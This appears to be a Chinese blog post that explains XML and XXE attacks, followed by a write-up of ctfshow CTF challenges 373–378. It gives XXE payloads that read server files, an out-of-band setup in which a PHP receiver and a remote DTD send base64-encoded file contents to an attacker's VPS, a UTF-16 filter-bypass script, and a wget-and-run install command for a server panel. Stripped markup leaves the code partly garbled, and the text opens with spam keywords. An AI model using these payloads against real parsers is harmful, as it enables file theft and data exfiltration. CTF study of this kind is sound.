找做网站个人,宝塔网站搭建教程,WordPress手机网页登录代码,培训教育网站开发XXE基础知识 XXE#xff08;XML External Entity#xff09;攻击是一种针对XML处理漏洞的网络安全攻击手段。攻击者利用应用程序在解析XML输入时的漏洞#xff0c;构造恶意的XML数据#xff0c;进而实现各种恶意目的。
所以要学习xxe就需要了解xml
xml相关#xff1a;
…XXE基础知识 XXEXML External Entity攻击是一种针对XML处理漏洞的网络安全攻击手段。攻击者利用应用程序在解析XML输入时的漏洞构造恶意的XML数据进而实现各种恶意目的。
所以要学习xxe就需要了解xml
xml相关
XML全称为可扩展标记语言Extensible Markup Language是一种用于标记电子文件使其具有结构性的标记语言。它属于标准通用标记语言的子集通过此种标记计算机之间可以处理包含各种信息的数据比如文章等。XML非常适合万维网传输提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。它是Internet环境中跨平台的、依赖于内容的技术也是当今处理分布式结构信息的有效工具。
XML的特性和语法包括
XML是大小写敏感的。XML只有单个标签而没有相对应的结束标签的元素必须以“/”结尾否则结束标签绝对不能省略。XML中的属性值必须使用引号例如“width‘300’”不能写成“width300”。XML中所有的属性必须都有属性值。XML文档应当以一个文档头开始文档头可选但是强烈建议使用。例如“?xml version‘1.0’?”或“?xml version‘1.0’ encoding‘UTF-8’?”。XML文档的正文包含根元素根元素包含其他元素。元素可以有子元素、文本或者两者皆有。
XML文档由两部分构成第一部分是文档序言第二部分是文档元素节点。文档序言通常位于XML文档的顶端根元素之前出现它是一个特定的包含XML文档设定信息的部分。XML文档序言主要由XML声明、文档类型定义DTD和XML Schema组成。XML声明用来设置XML文档解析时所需的基本参数包括版本号、编码方式等。DTD定义了文档的整体结构以及文档的语法应用广泛并有丰富工具支持。XML Schema则用于定义管理信息等更强大、更丰富的特征。
XML的用途非常广泛主要包括
存储数据XML可以用于持久化保存需要长期存储的数据例如web应用程序中的各种配置文件如web.xml和bean.xml。分离数据XML能将数据和展现形式相分离使数据的组织者和展示者能更专注于各自的任务。交换数据XML可以在不兼容的系统之间交换数据因为XML是纯文本格式不受软件和硬件的限制。共享数据XML提供了一种简单的数据共享方式因为任何应用程序都可以读取和解析XML文件。
总的来说XML是一种强大且灵活的数据标记语言它广泛应用于各种需要结构化数据处理的场景特别是在Web开发、数据交换和配置文件管理等领域。
xml相似于html但是它可以自定义标签
XML 和 HTML 为不同的目的而设计
XML 被设计用来传输和存储数据其焦点是数据的内容。HTML 被设计用来显示数据其焦点是数据的外观。
HTML 旨在显示信息而 XML 旨在传输信息。 XXE: 首先攻击者会寻找那些存在XXE漏洞的应用程序作为攻击目标。这些应用程序可能没有正确限制或验证XML输入中的外部实体引用。 一旦找到了目标攻击者会开始构造恶意的XML输入。这通常涉及到在XML文档中定义外部实体这些实体指向攻击者想要访问或控制的资源如文件、URL或其他后端系统。 然后攻击者将这些恶意的XML输入发送给目标应用程序。当应用程序解析这些XML数据时它会尝试加载并包含这些外部实体引用的内容。由于应用程序没有正确地限制或验证这些引用它可能会执行攻击者指定的恶意操作。 通过XXE攻击攻击者可以实现多种恶意目的。例如他们可以读取目标服务器上的敏感文件如配置文件、密码文件或数据库凭据。这些文件通常包含有关应用程序配置、用户凭证或其他重要信息对攻击者来说具有很高的价值。 此外攻击者还可以利用XXE攻击发起服务器端请求伪造SSRF攻击进一步探索和利用目标应用程序的内部网络结构。通过构造特定的XML输入攻击者可以使应用程序发起对内部网络资源的请求从而获取更多关于目标系统的信息。 在某些情况下攻击者甚至可以利用XXE漏洞执行远程代码。他们可以在XML输入中嵌入恶意代码通过应用程序的XML解析器执行这些代码进而实现对目标系统的完全控制。 总的来说从攻击者的角度来看XXE攻击是一种利用应用程序对XML处理不当的漏洞通过构造恶意的XML输入来实现各种恶意目的的攻击手段。为了防范XXE攻击应用程序需要正确验证和限制XML输入中的外部实体引用并采取其他必要的安全措施。 web 373 抓包
POST传参
这里不能使用Hackbar
?xml version1.0?
!DOCTYPE payload [
!ELEMENT payload ANY
!ENTITY xxe SYSTEM file:///flag
]
creds
ctfshowxxe;/ctfshow
/creds只是简单的例题
web 374、375、376 三道题基本上相似
属于无回显类型
区别是
375过滤xml和version
376过滤大小写
构建一条带外信道提取数据
在公网上上创建1.php
?php
$content $_GET[1];
if(isset($content)){file_put_contents(flag.txt,更新时间:.date(Y-m-d H:i:s).\n.$content);
}else{echo no data input;
}
1.xml
!ENTITY % all
!ENTITY #x25; send SYSTEM http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1%file;%all;
抓包发送
!DOCTYPE test [
!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/flag
!ENTITY % aaa SYSTEM http://[vps-ip]/xxe.dtd
%aaa;
]
root123/root
即得 记录创建网站过程
(自己摸索的过程有点艰难
选择了阿里云ECS试用
注册登录领取
选择Centos操作系统
然后找到控制台实例 显示没有记录的话查找其他区域就有了 打开后进行操作命令安装宝塔面板
yum install -y wget wget -O install.sh http://download.bt.cn/install/install_6.0.sh sh install.sh
安装完成界面最后会显示网址、用户名、密码
网站在这个时候还不能打开需要在控制台安全组手动添加端口
添加完成后再登网页
登录宝塔
添加网站
web 377
比上一题多了http过滤把web374的payload转为utf-16编码
import requests
url http://0ec4fe9d-6949-4e9d-a3b1-70be3bb3f01b.challenge.ctf.show/
payload
!DOCTYPE ANY[
!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/flag
!ENTITY % remote SYSTEM http://[vps-ip]/xxe.dtd
%remote;
%send;
]payload payload.encode(utf-16)
rep requests.post(urlurl, datapayload)
print(rep.text)
web 378 抓包看看 发现是有回显的 payload:
?xml version1.0?
!DOCTYPE ANY[
!ENTITY file SYSTEM file:///flag
]
user
usernamefile;/username
password123/password
/user